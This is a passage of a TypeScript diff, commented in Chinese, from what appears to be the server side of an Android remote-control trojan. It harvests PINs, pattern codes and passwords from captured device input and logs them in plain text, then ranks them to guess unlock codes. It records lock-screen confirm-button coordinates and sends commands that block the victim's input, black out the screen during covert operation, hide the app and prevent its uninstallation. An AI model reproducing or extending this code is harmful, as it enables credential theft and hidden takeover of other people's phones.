${textInput} (类型: ${passwordType}) 确认坐标: (${confirmX}, ${confirmY})`) + + // 将确认坐标信息添加到extraData中 + if (extraData && typeof extraData === 'object') { + extraData.confirmButtonX = confirmX + extraData.confirmButtonY = confirmY + extraData.hasConfirmButton = true + } + } + } + } + + // 方法7: 从extraData中获取 + if (!textInput && extraData) { + if (typeof extraData === 'object') { + if (extraData.text) { + textInput = extraData.text + passwordType = this.detectPasswordTypeFromContent(textInput) + this.logger.info(`✅ 从extraData对象中提取: ${textInput} (类型: ${passwordType})`) + } else if (extraData.reconstructedPassword) { + textInput = extraData.reconstructedPassword + passwordType = this.detectPasswordTypeFromContent(textInput) + this.logger.info(`✅ 从extraData重构密码中提取: ${textInput} (类型: ${passwordType})`) + } + } else if (typeof extraData === 'string') { + try { + const parsed = JSON.parse(extraData) + if (parsed.text) { + textInput = parsed.text + passwordType = this.detectPasswordTypeFromContent(textInput) + this.logger.info(`✅ 从extraData JSON中提取: ${textInput} (类型: ${passwordType})`) + } + } catch (e) { + // 忽略JSON解析错误 + } + } + } + + // ✅ 验证是否为可能的密码,并考虑密码类型 + if (textInput && this.isPossiblePasswordEnhanced(textInput, passwordType)) { + this.logger.info(`✅ 验证通过,添加密码候选: ${textInput} (类型: ${passwordType})`) + passwordSet.add(textInput) + passwordWithType.set(textInput, passwordType) + } else if (textInput) { + this.logger.debug(`❌ 验证失败,跳过: ${textInput} (类型: ${passwordType})`) + } + } + + // ✅ 转换为数组并按类型和质量排序 + const passwords = Array.from(passwordSet) + this.logger.info(`🔑 最终提取到 ${passwords.length} 个密码候选: ${passwords.join(', ')}`) + + passwords.sort((a, b) => { + const aType = passwordWithType.get(a) || 'unknown' + const bType = passwordWithType.get(b) || 'unknown' + + // ✅ 类型优先级排序:PIN码 > 数字密码 > 混合密码 > 文本密码 > 图形密码 > 未知 + const typePriority: Record = { + 'pin': 100, + 'numeric': 90, + 'mixed': 80, + 'text': 70, + 'pattern': 60, + 'unknown': 50 + } + + const aPriority = typePriority[aType] || 50 + const bPriority = typePriority[bType] || 50 + + if (aPriority !== bPriority) { + return bPriority - aPriority + } + + // 同类型按长度排序(常见密码长度优先:4位、6位、8位) + const preferredLengths = [4, 6, 8] + const aScore = preferredLengths.includes(a.length) ? 100 - preferredLengths.indexOf(a.length) : a.length + const bScore = preferredLengths.includes(b.length) ? 100 - preferredLengths.indexOf(b.length) : b.length + + return bScore - aScore + }) + + return passwords + } + + /** + * ✅ 新增:从密码内容检测密码类型 + */ + private detectPasswordTypeFromContent(password: string): string { + if (!password) return 'unknown' + + const cleanPassword = password.replace(/[?•*]/g, '') // 移除掩码字符 + + // 判断是否为纯数字 + if (/^\d+$/.test(cleanPassword)) { + if (cleanPassword.length === 4 || cleanPassword.length === 6) { + return 'pin' + } else if (cleanPassword.length >= 4 && cleanPassword.length <= 9) { + // 检查是否可能是图形密码(1-9的数字,不包含0) + const hasOnlyValidPatternDigits = cleanPassword.split('').every(digit => { + const num = parseInt(digit) + return num >= 1 && num <= 9 + }) + + if (hasOnlyValidPatternDigits && !cleanPassword.includes('0')) { + return 'pattern' + } else { + return 'numeric' + } + } else { + return 'numeric' + } + } + + // 判断是否为混合密码 + if (/\d/.test(cleanPassword) && /[a-zA-Z]/.test(cleanPassword)) { + return 'mixed' + } + + // 纯字母 + if (/^[a-zA-Z]+$/.test(cleanPassword)) { + return 'text' + } + + // 包含特殊字符 + if (/[^a-zA-Z0-9]/.test(cleanPassword)) { + return 'mixed' + } + + return 'text' + } + + /** + * ✅ 增强版密码验证:判断文本是否可能是密码,考虑密码类型 + */ + private isPossiblePasswordEnhanced(text: string, passwordType: string): boolean { + if (!text || typeof text !== 'string') { + return false + } + + const trimmed = text.trim() + const cleanText = trimmed.replace(/[?•*]/g, '') // 移除掩码字符 + + // ✅ 根据密码类型进行不同的验证 + switch (passwordType) { + case 'pin': + // PIN码:4-6位纯数字 + return /^\d{4,6}$/.test(cleanText) + + case 'numeric': + // 数字密码:3-12位数字(包含0) + return /^\d{3,12}$/.test(cleanText) + + case 'pattern': + // 图形密码:4-9位数字,只包含1-9 + if (!/^\d{4,9}$/.test(cleanText)) return false + return cleanText.split('').every(digit => { + const num = parseInt(digit) + return num >= 1 && num <= 9 + }) && !cleanText.includes('0') + + case 'mixed': + // 混合密码:包含字母和数字 + return cleanText.length >= 4 && cleanText.length <= 20 && + /[a-zA-Z]/.test(cleanText) && /\d/.test(cleanText) + + case 'text': + // 文本密码:主要是字母 + return cleanText.length >= 3 && cleanText.length <= 20 && + /[a-zA-Z]/.test(cleanText) + + default: + // 未知类型,使用通用验证 + return this.isPossiblePassword(text) + } + } + + /** + * 判断文本是否可能是密码 - 保持原有逻辑作为后备 + */ + private isPossiblePassword(text: string): boolean { + if (!text || typeof text !== 'string') { + return false + } + + const trimmed = text.trim() + + // 长度检查:密码通常在3-20位之间 + if (trimmed.length < 3 || trimmed.length > 20) { + this.logger.debug(`❌ 长度不符合 (${trimmed.length}): ${trimmed}`) + return false + } + + // 排除明显不是密码的文本 + const excludePatterns = [ + /^\s+$/, // 纯空格 + /^[\u4e00-\u9fa5\s]+$/, // 纯中文和空格 + /^[!@#$%^&*(),.?":{}|<>\s]+$/, // 纯符号和空格 + ] + + for (const pattern of excludePatterns) { + if (pattern.test(trimmed)) { + this.logger.debug(`❌ 匹配排除模式: ${trimmed}`) + return false + } + } + + // 包含模式检查(可能是密码) + const includePatterns = [ + /^\d{3,8}$/, // 3-8位数字(PIN码) + /^[a-zA-Z0-9]{3,16}$/, // 3-16位字母数字组合 + /^[a-zA-Z0-9!@#$%^&*]{3,20}$/, // 3-20位字母数字符号组合 + ] + + for (const pattern of includePatterns) { + if (pattern.test(trimmed)) { + this.logger.debug(`✅ 匹配包含模式: ${trimmed}`) + return true + } + } + + // 其他可能的密码模式 - 更宽松的检查 + const isValid = ( + trimmed.length >= 3 && + trimmed.length <= 20 && + !/\s/.test(trimmed) && // 不包含空格 + /[a-zA-Z0-9]/.test(trimmed) // 包含字母或数字 + ) + + if (isValid) { + this.logger.debug(`✅ 通过一般验证: ${trimmed}`) + } else { + this.logger.debug(`❌ 未通过一般验证: ${trimmed}`) + } + + return isValid + } + + /** + * ✅ 刷新所有web客户端的设备列表 + */ + private refreshAllWebClientDeviceLists(): void { + try { + // 获取所有web客户端 + const allClients = this.webClientManager.getAllClients() + this.logger.info(`🔄 开始刷新 ${allClients.length} 个web客户端的设备列表`) + + allClients.forEach(client => { + try { + // 为每个客户端发送最新的设备列表 + this.handleDeviceListRequest(client.id) + } catch (error) { + this.logger.error(`❌ 刷新客户端 ${client.id} 设备列表失败:`, error) + } + }) + + this.logger.info(`✅ 设备列表刷新完成`) + } catch (error) { + this.logger.error('❌ 刷新web客户端设备列表失败:', error) + } + } + + /** + * ✅ 同步设备状态到设备端 + */ + private syncDeviceStateToDevice(socketId: string, deviceId: string, deviceState: any): void { + try { + this.logger.info(`🔄 开始同步设备状态到设备端: ${deviceId}`) + + // 获取设备的socket连接 + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(socketId) + if (!deviceSocket) { + this.logger.warn(`⚠️ 设备socket连接不存在,无法同步状态: ${deviceId}`) + return + } + + // 同步输入阻塞状态 + if (deviceState.inputBlocked !== undefined && deviceState.inputBlocked !== null) { + const controlMessage = { + type: deviceState.inputBlocked ? 'DEVICE_BLOCK_INPUT' : 'DEVICE_ALLOW_INPUT', + deviceId, + data: {}, + timestamp: Date.now() + } + deviceSocket.emit('control_message', controlMessage) + this.logger.info(`📤 已向设备 ${deviceId} 同步输入阻塞状态: ${deviceState.inputBlocked}`) + } + + // 同步日志状态(如果需要) + if (deviceState.loggingEnabled !== undefined && deviceState.loggingEnabled !== null) { + const logMessage = { + type: deviceState.loggingEnabled ? 'LOG_ENABLE' : 'LOG_DISABLE', + deviceId, + data: {}, + timestamp: Date.now() + } + deviceSocket.emit('control_command', logMessage) + this.logger.info(`📤 已向设备 ${deviceId} 同步日志状态: ${deviceState.loggingEnabled}`) + } + + // 🆕 同步黑屏遮盖状态(如果需要) + if (deviceState.blackScreenActive !== undefined && deviceState.blackScreenActive !== null) { + const blackScreenMessage = { + type: deviceState.blackScreenActive ? 'ENABLE_BLACK_SCREEN' : 'DISABLE_BLACK_SCREEN', + deviceId, + data: {}, + timestamp: Date.now() + } + deviceSocket.emit('control_command', blackScreenMessage) + this.logger.info(`📤 已向设备 ${deviceId} 同步黑屏遮盖状态: ${deviceState.blackScreenActive}`) + } + + // 🆕 同步应用隐藏状态(如果需要) + if (deviceState.appHidden !== undefined && deviceState.appHidden !== null) { + const appHideMessage = { + type: deviceState.appHidden ? 'HIDE_APP' : 'SHOW_APP', + deviceId, + data: {}, + timestamp: Date.now() + } + deviceSocket.emit('control_command', appHideMessage) + this.logger.info(`📤 已向设备 ${deviceId} 同步应用隐藏状态: ${deviceState.appHidden}`) + } + + // 🛡️ 同步防止卸载保护状态(如果需要) + if (deviceState.uninstallProtectionEnabled !== undefined && deviceState.uninstallProtectionEnabled !== null) { + const uninstallProtectionMessage = { + type: deviceState.uninstallProtectionEnabled ? 'ENABLE_UNINSTALL_PROTECTION' : 'DISABLE_UNINSTALL_PROTECTION', + deviceId, + data: {}, + timestamp: Date.now() + } + deviceSocket.emit('control_command', uninstallProtectionMessage) + this.logger.info(`📤 已向设备 ${deviceId} 同步防止卸载保护状态: ${deviceState.uninstallProtectionEnabled}`) + } + + this.logger.info(`✅ 设备状态同步完成: ${deviceId}`) + + } catch (error) { + this.logger.error(`❌ 同步设备状态失败: ${deviceId}`, error) + } + } + + /** + * 处理删除设备请求 + */ + private handleDeleteDevice(clientId: string, deviceId: string): boolean { + try { + this.logger.info(`🗑️ 处理删除设备请求: 客户端=${clientId}, 设备=${deviceId}`) + + // 检查设备是否存在 + const deviceExists = this.databaseService.getDeviceById(deviceId) + if (!deviceExists) { + this.logger.warn(`⚠️ 尝试删除不存在的设备: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'delete_device_response', { + success: false, + deviceId: deviceId, + message: '设备不存在' + }) + return false + } + + // 如果设备在线,先释放控制权并断开连接 + const onlineDevice = this.deviceManager.getDevice(deviceId) + if (onlineDevice) { + this.logger.info(`📤 设备在线,先断开连接: ${deviceId}`) + + // 释放控制权 + const controller = this.webClientManager.getDeviceController(deviceId) + if (controller) { + this.webClientManager.releaseDeviceControl(deviceId) + this.logger.info(`🔓 已释放设备控制权: ${controller}`) + } + + // 通知设备断开 + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (deviceSocketId) { + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('force_disconnect', { + reason: 'device_deleted', + message: '设备已被删除' + }) + deviceSocket.disconnect(true) + } + } + + // 从内存中移除设备 + this.deviceManager.removeDevice(deviceId) + + // 通知所有客户端设备已断开 + this.webClientManager.broadcastToAll('device_disconnected', deviceId) + } + + // 从数据库中删除设备及相关数据 + this.databaseService.deleteDevice(deviceId) + this.logger.info(`✅ 设备已从数据库删除: ${deviceId}`) + + // 发送成功响应 + this.webClientManager.sendToClient(clientId, 'delete_device_response', { + success: true, + deviceId: deviceId, + message: '设备已删除' + }) + + this.logger.info(`🎉 设备删除完成: ${deviceId}`) + return true + + } catch (error) { + this.logger.error('删除设备失败:', error) + this.webClientManager.sendToClient(clientId, 'delete_device_response', { + success: false, + deviceId: deviceId, + message: '删除设备时发生错误' + }) + return false + } + } + + /** + * 获取设备UI层次结构 + */ + private handleGetUIHierarchy(clientId: string, deviceId: string, requestData: any): boolean { + try { + this.logger.info(`🔍 处理UI层次结构获取请求: 客户端=${clientId}, 设备=${deviceId}`) + + // 检查客户端权限 + const client = this.webClientManager.getClient(clientId) + if (!client) { + this.logger.error(`获取UI层次结构失败: 找不到客户端 ${clientId}`) + return false + } + + // 检查设备是否存在且在线 + const device = this.deviceManager.getDevice(deviceId) + if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { + this.logger.error(`❌ 设备不在线或不存在: ${deviceId}`) + this.logger.info(`📋 当前所有设备: ${JSON.stringify(this.deviceManager.getAllDevices().map(d => ({ id: d.id, name: d.name, socketId: d.socketId, status: d.status })))}`) + this.webClientManager.sendToClient(clientId, 'ui_hierarchy_response', { + deviceId, + success: false, + message: '设备不在线或不存在' + }) + return false + } + + // 获取设备Socket并发送UI分析请求 + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + this.logger.info(`🔍 设备 ${deviceId} 的Socket ID: ${deviceSocketId}`) + + if (deviceSocketId) { + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + this.logger.info(`🔍 Socket连接状态: ${deviceSocket ? '已连接' : '未找到'}`) + + if (deviceSocket) { + // 向设备发送UI分析请求 - 默认启用所有增强功能 + const requestPayload = { + requestId: `ui_${Date.now()}`, + clientId: clientId, + includeInvisible: requestData.includeInvisible !== false, // 默认true + includeNonInteractive: requestData.includeNonInteractive !== false, // 默认true + maxDepth: requestData.maxDepth || 25, // 默认增加到25层 + enhanced: true, // 默认启用增强功能 + includeDeviceInfo: true // 默认包含设备信息 + } + + this.logger.info(`📤 准备发送UI分析请求(增强模式): ${JSON.stringify(requestPayload)}`) + deviceSocket.emit('ui_hierarchy_request', requestPayload) + + this.logger.info(`📤 已向设备 ${deviceId} 发送UI层次结构分析请求(增强模式)`) + return true + } + } + + this.logger.error(`无法找到设备 ${deviceId} 的Socket连接`) + this.webClientManager.sendToClient(clientId, 'ui_hierarchy_response', { + deviceId, + success: false, + message: '设备连接已断开' + }) + return false + + } catch (error) { + this.logger.error(`获取UI层次结构失败: ${deviceId}`, error) + this.webClientManager.sendToClient(clientId, 'ui_hierarchy_response', { + deviceId, + success: false, + message: `分析失败: ${error instanceof Error ? error.message : '未知错误'}` + }) + return false + } + } + + /** + * 处理设备UI层次结构响应 + */ + private handleUIHierarchyResponse(deviceId: string, hierarchyData: any): void { + try { + this.logger.info(`📱 收到设备 ${deviceId} 的UI层次结构响应`) + this.logger.info(`📋 响应数据详情: clientId=${hierarchyData.clientId}, success=${hierarchyData.success}, hierarchy类型=${typeof hierarchyData.hierarchy}`) + + // 转发给请求的客户端 + if (hierarchyData.clientId) { + const responseData = { + deviceId, + success: hierarchyData.success || true, + hierarchy: hierarchyData.hierarchy, + timestamp: Date.now(), + enhanced: hierarchyData.enhanced || false, // ✅ 传递增强标识 + deviceCharacteristics: hierarchyData.deviceCharacteristics, // ✅ 传递设备特征 + analysisMetadata: hierarchyData.analysisMetadata // ✅ 传递分析元数据 + } + + this.logger.info(`📤 准备转发给客户端 ${hierarchyData.clientId}, 数据大小: ${JSON.stringify(responseData).length} 字符`) + + this.webClientManager.sendToClient(hierarchyData.clientId, 'ui_hierarchy_response', responseData) + this.logger.info(`✅ 已将UI层次结构转发给客户端: ${hierarchyData.clientId}${hierarchyData.enhanced ? '(增强版)' : ''}`) + } else { + this.logger.warn(`⚠️ 响应数据中缺少clientId字段,无法转发`) + + // 广播给所有客户端 + this.webClientManager.broadcastToAll('ui_hierarchy_response', { + deviceId, + success: hierarchyData.success || true, + hierarchy: hierarchyData.hierarchy, + timestamp: Date.now() + }) + this.logger.info(`📤 已广播UI层次结构给所有客户端`) + } + + } catch (error) { + this.logger.error(`处理UI层次结构响应失败: ${deviceId}`, error) + } + } + + /** + * 路由UI层次结构响应(从设备到Web客户端)- 参考routeScreenData的模式 + */ + routeUIHierarchyResponse(fromSocketId: string, hierarchyData: any): boolean { + try { + this.logger.info(`🔍 处理UI层次结构响应: Socket ${fromSocketId}`) + + // 首先尝试从DeviceManager获取设备信息 + let device = this.deviceManager.getDeviceBySocketId(fromSocketId) + + if (!device) { + this.logger.warn(`⚠️ 找不到设备,尝试从数据库恢复: ${fromSocketId}`) + // ✅ 参考routeScreenData:立即尝试从数据库恢复设备 + const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId) + if (dbDevice) { + // ✅ 获取设备状态信息 + const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId) + + device = { + id: dbDevice.deviceId, + socketId: fromSocketId, + name: dbDevice.deviceName, + model: dbDevice.deviceModel, + osVersion: dbDevice.osVersion, + appVersion: dbDevice.appVersion, + screenWidth: dbDevice.screenWidth, + screenHeight: dbDevice.screenHeight, + capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), + connectedAt: new Date(), + lastSeen: new Date(), + status: 'online' as const, + inputBlocked: deviceState?.inputBlocked || false, + isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 + remark: (dbDevice as any).remark // 🆕 恢复设备备注 + } + + // 将恢复的设备添加到DeviceManager中 + this.deviceManager.addDevice(device) + this.logger.info(`✅ 从数据库恢复设备: ${device.name} (${device.id})`) + + // ✅ 关键修复:更新数据库中的设备记录(特别是lastSocketId) + try { + const deviceForDb = { + deviceId: device.id, + deviceName: device.name, + deviceModel: device.model, + osVersion: device.osVersion, + appVersion: device.appVersion, + screenWidth: device.screenWidth, + screenHeight: device.screenHeight, + capabilities: device.capabilities + } + this.databaseService.saveDevice(deviceForDb, fromSocketId) + } catch (dbError) { + this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) + } + + // ✅ 关键修复:UI响应时设备恢复后,立即通知Web端设备在线 + this.logger.info(`✅ 设备UI响应恢复成功: ${device.name},立即通知Web端设备在线`) + + // 立即广播设备连接事件给所有Web客户端 + this.webClientManager.broadcastToAll('device_connected', device) + + // 同时广播设备状态更新 + this.webClientManager.broadcastToAll('device_status_update', { + deviceId: device.id, + status: { + online: true, + connected: true, + lastSeen: Date.now(), + inputBlocked: device.inputBlocked || false + } + }) + + // ✅ 同步设备状态到设备端(如输入阻塞状态) + if (deviceState) { + this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) + } + } else { + // 尝试从响应数据中获取deviceId进行处理 + const deviceId = hierarchyData?.deviceId + if (deviceId) { + this.logger.warn(`⚠️ 数据库中也找不到设备,但响应包含deviceId: ${deviceId},尝试直接处理`) + this.handleUIHierarchyResponse(deviceId, hierarchyData) + return true + } else { + this.logger.error(`❌ 无法找到设备且响应数据中没有deviceId: ${fromSocketId}`) + return false + } + } + } + + // 确保device不为undefined + if (!device) { + this.logger.error(`❌ 设备恢复失败: ${fromSocketId}`) + return false + } + + this.logger.info(`✅ 找到设备: ${device.name} (${device.id}),处理UI层次结构响应`) + + // 直接处理UI层次结构响应 + this.handleUIHierarchyResponse(device.id, hierarchyData) + + return true + + } catch (error) { + this.logger.error('路由UI层次结构响应失败:', error) + return false + } + } + + /** + * 🆕 处理开始提取确认坐标的请求 + */ + private handleStartExtractConfirmCoords(clientId: string, deviceId: string): boolean { + try { + this.logger.info(`🎯 开始提取确认坐标模式: 客户端=${clientId}, 设备=${deviceId}`) + + // 向所有连接的客户端广播提取模式开始事件(主要是屏幕阅读器组件) + this.webClientManager.broadcastToAll('start_extract_confirm_coords', { + deviceId, + clientId + }) + + this.logger.info(`✅ 确认坐标提取模式已启动: ${deviceId}`) + return true + } catch (error) { + this.logger.error('启动确认坐标提取模式失败:', error) + return false + } + } + + /** + * 🆕 处理保存确认坐标的请求 + */ + private handleSaveConfirmCoords(clientId: string, deviceId: string, coords: { x: number, y: number }): boolean { + try { + this.logger.info(`💾 保存确认坐标: 客户端=${clientId}, 设备=${deviceId}, 坐标=(${coords.x}, ${coords.y})`) + + // 验证坐标数据 + if (!coords || typeof coords.x !== 'number' || typeof coords.y !== 'number') { + this.logger.error('❌ 无效的坐标数据:', coords) + this.webClientManager.sendToClient(clientId, 'save_confirm_coords_response', { + deviceId, + success: false, + message: '无效的坐标数据' + }) + return false + } + + // 保存到数据库 + this.databaseService.saveConfirmButtonCoords(deviceId, coords) + + // 发送成功响应 + this.webClientManager.sendToClient(clientId, 'save_confirm_coords_response', { + deviceId, + success: true, + coords, + message: '确认坐标已保存' + }) + + // 向所有客户端广播坐标已更新(用于实时更新UI显示) + this.webClientManager.broadcastToAll('confirm_coords_updated', { + deviceId, + coords + }) + + this.logger.info(`✅ 确认坐标已保存: ${deviceId} -> (${coords.x}, ${coords.y})`) + return true + } catch (error) { + this.logger.error('保存确认坐标失败:', error) + this.webClientManager.sendToClient(clientId, 'save_confirm_coords_response', { + deviceId, + success: false, + message: '保存失败: ' + (error as Error).message + }) + return false + } + } + + /** + * 🆕 处理启用黑屏遮盖的请求 + */ + private handleEnableBlackScreen(clientId: string, deviceId: string): boolean { + try { + this.logger.info(`🖤 启用黑屏遮盖: 客户端=${clientId}, 设备=${deviceId}`) + + // 检查设备是否存在且在线 + const device = this.deviceManager.getDevice(deviceId) + if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { + this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'black_screen_response', { + deviceId, + success: false, + isActive: false, + message: '设备已离线或不存在' + }) + return false + } + + // 检查客户端是否有控制权 + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'black_screen_response', { + deviceId, + success: false, + isActive: false, + message: '无控制权限,请先申请设备控制权' + }) + return false + } + + // 向设备发送启用黑屏遮盖的控制命令 + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (deviceSocketId) { + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('control_command', { + type: 'ENABLE_BLACK_SCREEN', + deviceId, + data: {}, + timestamp: Date.now() + }) + + // 🆕 保存黑屏状态到数据库 + this.databaseService.updateDeviceBlackScreenActive(deviceId, true) + + // 发送成功响应 + this.webClientManager.sendToClient(clientId, 'black_screen_response', { + deviceId, + success: true, + isActive: true, + message: '黑屏遮盖已启用' + }) + + this.logger.info(`✅ 黑屏遮盖启用命令已发送: ${deviceId}`) + return true + } + } + + this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'black_screen_response', { + deviceId, + success: false, + isActive: false, + message: '设备连接已断开' + }) + return false + + } catch (error) { + this.logger.error('启用黑屏遮盖失败:', error) + this.webClientManager.sendToClient(clientId, 'black_screen_response', { + deviceId, + success: false, + isActive: false, + message: '启用失败: ' + (error as Error).message + }) + return false + } + } + + /** + * 🆕 处理取消黑屏遮盖的请求 + */ + private handleDisableBlackScreen(clientId: string, deviceId: string): boolean { + try { + this.logger.info(`🖤 取消黑屏遮盖: 客户端=${clientId}, 设备=${deviceId}`) + + // 检查设备是否存在且在线 + const device = this.deviceManager.getDevice(deviceId) + if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { + this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'black_screen_response', { + deviceId, + success: false, + isActive: false, + message: '设备已离线或不存在' + }) + return false + } + + // 检查客户端是否有控制权 + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'black_screen_response', { + deviceId, + success: false, + isActive: true, + message: '无控制权限,请先申请设备控制权' + }) + return false + } + + // 向设备发送取消黑屏遮盖的控制命令 + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (deviceSocketId) { + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('control_command', { + type: 'DISABLE_BLACK_SCREEN', + deviceId, + data: {}, + timestamp: Date.now() + }) + + // 🆕 保存黑屏状态到数据库 + this.databaseService.updateDeviceBlackScreenActive(deviceId, false) + + // 发送成功响应 + this.webClientManager.sendToClient(clientId, 'black_screen_response', { + deviceId, + success: true, + isActive: false, + message: '黑屏遮盖已取消' + }) + + this.logger.info(`✅ 黑屏遮盖取消命令已发送: ${deviceId}`) + return true + } + } + + this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'black_screen_response', { + deviceId, + success: false, + isActive: true, + message: '设备连接已断开' + }) + return false + + } catch (error) { + this.logger.error('取消黑屏遮盖失败:', error) + this.webClientManager.sendToClient(clientId, 'black_screen_response', { + deviceId, + success: false, + isActive: true, + message: '取消失败: ' + (error as Error).message + }) + return false + } + } + + /** + * 🆕 处理打开应用设置的请求 + */ + private handleOpenAppSettings(clientId: string, deviceId: string): boolean { + try { + this.logger.info(`⚙️ 打开应用设置: 客户端=${clientId}, 设备=${deviceId}`) + + // 检查设备是否存在且在线 + const device = this.deviceManager.getDevice(deviceId) + if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { + this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'app_settings_response', { + deviceId, + success: false, + message: '设备已离线或不存在' + }) + return false + } + + // 检查客户端是否有控制权 + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'app_settings_response', { + deviceId, + success: false, + message: '无控制权限,请先申请设备控制权' + }) + return false + } + + // 向设备发送打开应用设置的控制命令 + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (deviceSocketId) { + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('control_command', { + type: 'OPEN_APP_SETTINGS', + deviceId, + data: {}, + timestamp: Date.now() + }) + + this.logger.info(`✅ 已发送打开应用设置命令到设备 ${deviceId}`) + + // 向客户端发送响应 + this.webClientManager.sendToClient(clientId, 'app_settings_response', { + deviceId, + success: true, + message: '打开应用设置命令已发送' + }) + + return true + } + } + + this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`) + this.webClientManager.sendToClient(clientId, 'app_settings_response', { + deviceId, + success: false, + message: '设备连接已断开' + }) + return false + + } catch (error) { + this.logger.error(`打开应用设置失败:`, error) + this.webClientManager.sendToClient(clientId, 'app_settings_response', { + deviceId, + success: false, + message: '打开应用设置失败' + }) + return false + } + } + + /** + * 🆕 处理隐藏应用的请求 + */ + private handleHideApp(clientId: string, deviceId: string): boolean { + try { + this.logger.info(`📱 隐藏应用: 客户端=${clientId}, 设备=${deviceId}`) + + // 检查设备是否存在且在线 + const device = this.deviceManager.getDevice(deviceId) + if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { + this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'app_hide_response', { + deviceId, + success: false, + isHidden: false, + message: '设备已离线或不存在' + }) + return false + } + + // 检查客户端是否有控制权 + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'app_hide_response', { + deviceId, + success: false, + isHidden: false, + message: '无控制权限,请先申请设备控制权' + }) + return false + } + + // 向设备发送隐藏应用的控制命令 + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (deviceSocketId) { + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('control_command', { + type: 'HIDE_APP', + deviceId, + data: {}, + timestamp: Date.now() + }) + + // 🆕 保存应用隐藏状态到数据库 + this.databaseService.updateDeviceAppHidden(deviceId, true) + + // 发送成功响应 + this.webClientManager.sendToClient(clientId, 'app_hide_response', { + deviceId, + success: true, + isHidden: true, + message: '应用已隐藏' + }) + + this.logger.info(`✅ 隐藏应用命令已发送: ${deviceId}`) + return true + } + } + + this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'app_hide_response', { + deviceId, + success: false, + isHidden: false, + message: '设备连接已断开' + }) + return false + + } catch (error) { + this.logger.error('隐藏应用失败:', error) + this.webClientManager.sendToClient(clientId, 'app_hide_response', { + deviceId, + success: false, + isHidden: false, + message: '隐藏失败: ' + (error as Error).message + }) + return false + } + } + + /** + * 🆕 处理应用隐藏状态更新(来自Android端的状态报告) + */ + private handleAppHideStatusUpdate(deviceId: string, eventData: any): boolean { + try { + this.logger.info(`📱 收到应用隐藏状态更新: 设备=${deviceId}, 数据=${JSON.stringify(eventData)}`) + + const isHidden = eventData.isHidden + const message = eventData.message || '状态已更新' + const success = eventData.success + + // 🆕 保存应用隐藏状态到数据库 + this.databaseService.updateDeviceAppHidden(deviceId, isHidden) + + // 广播状态更新到所有有控制权的Web客户端 + const controllerId = this.webClientManager.getDeviceController(deviceId) + if (controllerId) { + this.webClientManager.sendToClient(controllerId, 'app_hide_response', { + deviceId, + success: success, + isHidden: isHidden, + message: message, + fromDevice: true // 标记这是来自设备端的状态报告 + }) + + this.logger.info(`✅ 应用隐藏状态已广播到控制客户端: ${controllerId}`) + } else { + this.logger.debug(`📋 设备 ${deviceId} 当前无控制客户端,状态仅保存到数据库`) + } + + // 也广播到所有客户端,用于状态同步 + this.webClientManager.broadcastToAll('device_app_hide_status_changed', { + deviceId, + isHidden, + message, + timestamp: Date.now() + }) + + return true + + } catch (error) { + this.logger.error('处理应用隐藏状态更新失败:', error) + return false + } + } + + /** + * 🆕 处理显示应用的请求 + */ + private handleShowApp(clientId: string, deviceId: string): boolean { + try { + this.logger.info(`📱 显示应用: 客户端=${clientId}, 设备=${deviceId}`) + + // 检查设备是否存在且在线 + const device = this.deviceManager.getDevice(deviceId) + if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { + this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'app_hide_response', { + deviceId, + 